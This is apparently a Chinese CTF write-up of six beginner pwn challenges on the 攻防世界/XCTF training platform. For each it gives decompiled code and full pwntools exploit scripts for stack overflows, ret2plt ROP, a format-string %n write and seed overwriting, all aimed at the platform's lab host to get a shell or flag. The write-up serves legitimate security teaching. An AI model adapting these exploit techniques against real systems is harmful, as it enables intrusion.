前言
攻防世界是一个专注于网络安全的在线学习和竞赛平台,由赛宁网安推出,旨在为网络安全爱好者提供丰富的学习资源和实战竞赛环境。该平台自2018年9月推出以来,已经吸引了超过18万用户注册使用,月活跃用户超过5万。
平台的主要特点包括:
- 学习训练:提供系统安全、Web安全、逆向分析、二进制漏洞挖掘、流量分析、协议分析、IoT等多个类型的学习资源,以及400+在线操作环境,支持用户根据自己的兴趣和学习计划进行练习。
- 竞赛实战:平台收录了历届XCTF国际联赛的海量题库资源,用户可以通过解决实际问题来提升自己的网络安全技能。
- 自助办赛:提供轻量级高品质网络安全竞赛产品,支持高校、企业和安全团队组织攻防对抗演练,降低办赛门槛。
- 社区交流:打造专业的网安交流社区,邀请国内外优秀的CTF战队入驻,提供展示空间,分享赛事信息、解题思路和技术文章。
攻防世界平台的改版升级,增加了实训、竞赛、办赛、社区等多功能,致力于构建一个全面、专业的网络安全学习环境,帮助用户提升网络安全技术水平,并为网络安全人才的成长提供支持。平台网址为:https://adworld.xctf.org.cn 。
此外,攻防世界还提供了一些具体的题目和解题思路,例如在CSDN博客中,有用户分享了攻防世界中的一些题目的解题方法,包括逆向分析、Pwn等类型的题目 。这些资源对于希望提升网络安全实战技能的用户来说非常有价值。
一、get_shell
打开靶场
使用 Exeinfo PE 查看是 32 位还是 64 位
知道是 64 位后拖进 IDA64 分析查看主函数 main
按 F5 反编译
int __fastcall main(int argc, const char **argv, const char **envp)
{
puts("OK,this time we will get a shell.");
// 这行代码实际上会启动一个新的shell
system("/bin/sh");
return 0;
}
已知会启动一个新 shell,我们可以直接 nc 连接或者编写 Python 脚本
脚本如下
from pwn import *
// remote 函数是 pwntools 库中的一个函数,它用于建立与远程主机的连接
r = remote("61.147.171.105","51234")
// sendline() 默认发送一个换行符(\n)
r.sendline()
// 调用了 interactive 方法,它将当前的 pwntools 网络连接转换为交互式模式
r.interactive()
二、hello_pwn
打开靶场
使用 checksec 查看
可以得出:
1. 该文件由 amd64
架构编译
2. 只有部分 GOT 表被标记为不可执行
3. 该二进制文件没有使用栈保护
4. 该二进制文件启用了 NX 保护
5. 表示该二进制文件没有使用 PIE
参考题目描述:pwn!,segment fault!菜鸡陷入了深思
拖入 IDA64 反编译
让我们深度解析一下伪代码
__int64 __fastcall main(int a1, char **a2, char **a3)
{
// alarm 函数用于设置一个定时器
alarm(0x3Cu);
// setbuf 函数用于设置标准输出(stdout)的缓冲区,这里为 NULL
setbuf(stdout, 0LL);
puts("~~ welcome to ctf ~~ ");
puts("lets get helloworld for bof");
// 第一个参数为要读取的文件,为 0 代表标准输入
// 第二个参数为要将读取的内容保存的缓冲区
// 第三个参数读取文件的长度,这里表示读取 16 字节(10进制)的数据
read(0, &unk_601068, 0x10uLL);
if ( dword_60106C == 1853186401 )
sub_400686();
return 0LL;
}
可以看到程序最后有个判断条件,查看执行函数是什么
双击跳转这个 dword_60106C 跳转,发现离我们输入保存的缓冲区只差四个字节
构造 Python 代码实现缓冲区溢出攻击
from pwn import *
r = remote("61.147.171.105", "60230")
// b'A'表示一个字节对象
// p64 函数将一个整数转换为一个 64 位的字节序列
payload = b'A' * 4 + p64(1853186401)
r.sendline(payload)
r.interactive()
三、level0
打开靶场
下载文件后先 Checksec
没有栈保护,结合题目描述应该是要利用栈溢出,先扔进 IDA64
主函数最后调用了 vulnerable_function 函数,去看看
这个函数将用户输入存储到了缓冲区 buf 中,去看看这个 buf
解析这段注释:
“r”用于存储返回地址,即函数执行完毕后返回到调用者的位置
“s”用于存储在函数调用期间需要保存的寄存器值
去找执行命令的函数发现在 callsystem() 中
如果我们输入数据覆盖了 buf + s 则直接到了 r
因为 callsystem() 是 return 方式执行,所以一调用就会执行
当 r 返回的地址是 callsystem() 的话就会执行 shell
先查看函数地址在 Export 窗口中
构造 Python 脚本
from pwn import *
r = remote("61.147.171.105","63501")
payload = b'A' * 0x88 + p64(0x00400596)
r.sendline(payload)
r.interactive()
四、level2
打开靶场
先 Checksec 发现没有栈保护
直接扔进 32 位 IDA 反编译
调用了 vulnerable_function() 函数,去看看
用户输入存放到了 buf 中,去看看内存
和上一题是一样的,r 存储返回地址
然后在别的函数中没有找到相关执行命令的代码,于是查看字符串
发现有 /bin/sh,前面有执行的 system 函数,那么可以将地址拼接起来执行命令
又因为没有栈保护,可通过溢出覆盖 buf 和 s 到 r 处写入
于是构造脚本
pwn从入门到放弃第六章——简单ROP | PWN? PWN!
参考文章的重点
from pwn import *
io = remote('61.147.171.105',52080)
# 使用 PwnTools 的 ELF 类来加载本地的ELF格式的二进制文件
elf = ELF('./level2')
# plt 属性代表“过程链接表”(Procedure Linkage Table)
# 它是一个跳转表,用于动态链接库中的函数调用
# 通过访问 plt 字典并使用 'system' 作为键,可以直接获得 system 函数的地址
system_adr = elf.plt['system']
# next 函数则获取第一个匹配的位置
# search 方法在ELF文件中搜索包含字节序列 b'/bin/sh' 的位置
binsh_adr = next(elf.search(b'/bin/sh'))
# 0x6666 用于覆盖 system 的函数返回地址(随便填,0xdeadbeef 也可以)
payload = b'a' * 140 + p32(system_adr) + p32(0x6666) + p32(binsh_adr)
# 服务器连接我们,所以需要这个函数接受
io.recv()
io.send(payload)
io.interactive()
五、CGfsb
打开靶场
先 checksec 一下,发现有栈保护
扔进 IDA32 反编译一下
来看下主要代码就行
int __cdecl main(int argc, const char **argv, const char **envp)
{
_DWORD buf[2]; // [esp+1Eh] [ebp-7Eh] BYREF
__int16 v5; // [esp+26h] [ebp-76h]
char s[100]; // [esp+28h] [ebp-74h] BYREF
unsigned int v7; // [esp+8Ch] [ebp-10h]
// 读取GS寄存器的值并存储在 v7 中
v7 = __readgsdword(0x14u);
// 关闭标准输入的缓冲,使得每次读取都是直接从输入设备读取
setbuf(stdin, 0);
// 关闭标准输出的缓冲,使得每次输出都是直接显示到屏幕上
setbuf(stdout, 0);
// 关闭标准错误的缓冲,使得每次错误输出都是直接显示到屏幕上
setbuf(stderr, 0);
buf[0] = 0;
buf[1] = 0;
v5 = 0;
// 使用 memset 函数将 s 数组的所有元素初始化为0
memset(s, 0, sizeof(s));
puts("please tell me your name:");
read(0, buf, 0xAu);
puts("leave your message please:");
// 从标准输入读取一行文本到 s 数组中,最多读取99个字符
fgets(s, 100, stdin);
// (const char *)buf 是一个类型转换操作,它将 buf 数组的地址转换为一个指向常量字符的指针
printf("hello %s", (const char *)buf);
puts("your message is:");
printf(s);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else
{
puts("Thank you!");
}
return 0;
}
这里 printf(s) 存在格式化字符串漏洞
因此本题关键在于利用输入的 s
构造 printf(s)
的格式化字符串漏洞
要利用输入修改 pwnme
的值,首先得知道输入进去的数据存在栈上的哪个位置,然后才能将这个位置和 pwnme
的地址对应起来
aaaa
的值 0x61616161
出现在输出的第十个地址,因此我们的输入在栈上的偏移量为 10
拿到 pwnme 地址
from pwn import *
// p32(0x0804A068) 是 pwnme 地址
// 接着 printf 遇到 %10$n,这会将已经打印的字符数(此时为 4 字节)写入到 pwnme 变量的地址(0x0804A068)
// %10$n 意味着我们告诉 printf 函数将已经打印的字符数写入栈上第 10 个位置的地址
// 而此地址正好是前面提供的 0x0804A068,也就是 pwnme 的地址
payload = p32(0x0804A068) + b'8888'+ b'%10$n'
p = remote('61.147.171.105',51841)
p.sendlineafter('tell me your name:','abcd')
p.sendlineafter('your message please:',payload)
p.interactive()
六、guess_num
打开靶场
先 checksec 一下没发现东西
扔进 IDA64 反编译
我将核心代码标上了注释
__int64 __fastcall main(int a1, char **a2, char **a3)
{
int v4; // [rsp+4h] [rbp-3Ch] BYREF
int i; // [rsp+8h] [rbp-38h]
int v6; // [rsp+Ch] [rbp-34h]
char v7[32]; // [rsp+10h] [rbp-30h] BYREF
unsigned int seed[2]; // [rsp+30h] [rbp-10h]
unsigned __int64 v9; // [rsp+38h] [rbp-8h]
v9 = __readfsqword(0x28u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
v4 = 0;
v6 = 0;
// 调用函数 sub_BB0 并将其返回值存储在 seed 变量中
*(_QWORD *)seed = sub_BB0();
puts("-------------------------------");
puts("Welcome to a guess number game!");
puts("-------------------------------");
puts("Please let me know your name!");
printf("Your name:");
// 使用 gets 函数读取用户输入的名字
gets(v7);
// 使用 seed 数组的第一个元素作为随机数生成器的种子
srand(seed[0]);
for ( i = 0; i <= 9; ++i )
{
// 生成一个1到6之间的随机数
v6 = rand() % 6 + 1;
printf("-------------Turn:%d-------------\n", (unsigned int)(i + 1));
printf("Please input your guess number:");
__isoc99_scanf("%d", &v4);
puts("---------------------------------");
if ( v4 != v6 )
{
puts("GG!");
exit(1);
}
puts("Success!");
}
sub_C3E();
return 0LL;
}
我们先来看程序最后调用的函数是什么
推断出这个猜数游戏会进行十个回合,如果十个回合都能猜对数的话则能拿到 flag
补充知识:
1. srand
函数用于设置随机数生成器的种子。种子是一个初始值,它决定了随机数序列的开始点
2. 当你第一次调用 rand
函数时,如果没有先调用 srand
,rand
函数会默认使用一个种子值(通常是1)
3. gets() 函数存在缓冲区溢出漏洞
先查看 gets() 函数存储用户输入的地址
可以看到离 seed 相差 32,那么我们可以通过这个函数的缓冲区溢出漏洞改写 seed 的值
从而让 seed 唯一,继而让后续的随机数相同来满足 if 条件
如果我们让服务器的 seed 值为 1,再本地调用相同代码并设置种子相同如 srand(1),那么我们本地生成数与服务器的数是相同的
这样就满足的 if 条件拿到 flag
from pwn import *
# 允许调用 C 语言库中的函数
from ctypes import *
# 使用 ctypes 的 cdll.LoadLibrary 函数加载 Linux 系统的 C 标准库(glibc)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
# 缓冲区溢出漏洞设置 seed 为1
payload = b'a'*32 + p64(1)
p = remote('61.147.171.105',60930)
# 调用加载的 libc 中的 srand 函数,传入固定的种子值 1
# 这将使得 libc 中的随机数生成器产生一个可预测的随机数序列
libc.srand(1)
# 等待从远程服务接收到包含 'name:' 的字符串,然后发送构造的 payload
# sendlineafter 函数会在匹配到指定字符串后发送下一行数据
p.sendlineafter('name:',payload)
#
for i in range(10):
# 在每次循环中,等待从远程服务接收到包含 'number:' 的字符串,然后发送一个 1 到 6 之间的随机数
# 这个随机数是通过调用 libc 中的 rand 函数生成的,由于之前已经调用了 srand(1),所以生成的随机数序列是可预测的
p.sendlineafter('number:',str(libc.rand()%6 + 1))
p.interactive()
拿到 flag